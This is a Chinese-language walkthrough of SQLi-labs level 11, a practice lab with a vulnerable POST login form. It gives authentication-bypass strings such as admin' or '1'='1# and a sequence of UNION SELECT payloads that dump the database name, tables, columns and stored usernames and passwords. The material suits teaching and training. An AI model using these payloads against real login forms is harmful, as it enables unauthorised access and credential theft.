POST注入-SQL-labs(11关)
- 一、万能密码
- 二、判断闭合符号
- 三、查询列数
- 四、找显示位
- 五、爆数据库
- 六、爆表名
- 七、爆列名
- 八、字段信息
- 九、万能密码构造(说明)
一、万能密码
对于万能密码的类型是根据SQL注入的情况而判断的,这里举例几个SQL注入中常见的几个类型:
- xxx’ or 1 = 1#(最后的#可以换成– (记住如果是– 的最后有个空格)) 【这种是比较通用的】
- xxx’ or ‘1’ = ‘1(最后可以加#或者加– (记住如果是– 的最后有个空格))
- xxx” or “1” = “1
- xxx”) or (“1”) = (“1
其实对于表单注入:在用户名密码框当中同样是通过select语句进行查询,只不过从原来的get方法改成了post方法,此时也可进行注入。
二、判断闭合符号
在登录框中输入xxx ' or 1#
和xxx " or 1#
根据回显分别进行判断


根据回显可以发现这里是基于单引号的字符型注入
三、查询列数


可以看出列数为2
四、找显示位
1
| xxx ' union select 1,2 #
|

五、爆数据库
1
| xxx' union select 1,database()#
|

六、爆表名
1
| xxx' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
|

七、爆列名
1
| xxx' union select 1,group_concat(column_name) from information_schema.COLUMNs where table_schema='security' and table_name='users'#
|

八、字段信息
1
| xxx' union select 1,group_concat(concat_ws(",",username,password) SEPARATOR "|") from users #
|

九、万能密码构造(说明)
当我们进行判断时,可以对报错信息进行分析
据此报错,我们大概的可以猜测其网站的正常是SQL语句:
1
| MATHJAX-SSR-20username' and password='$password' limit 0,1"
|
因此账号密码同时尝试输入:admin' or '1'='1#

我们来看一下解释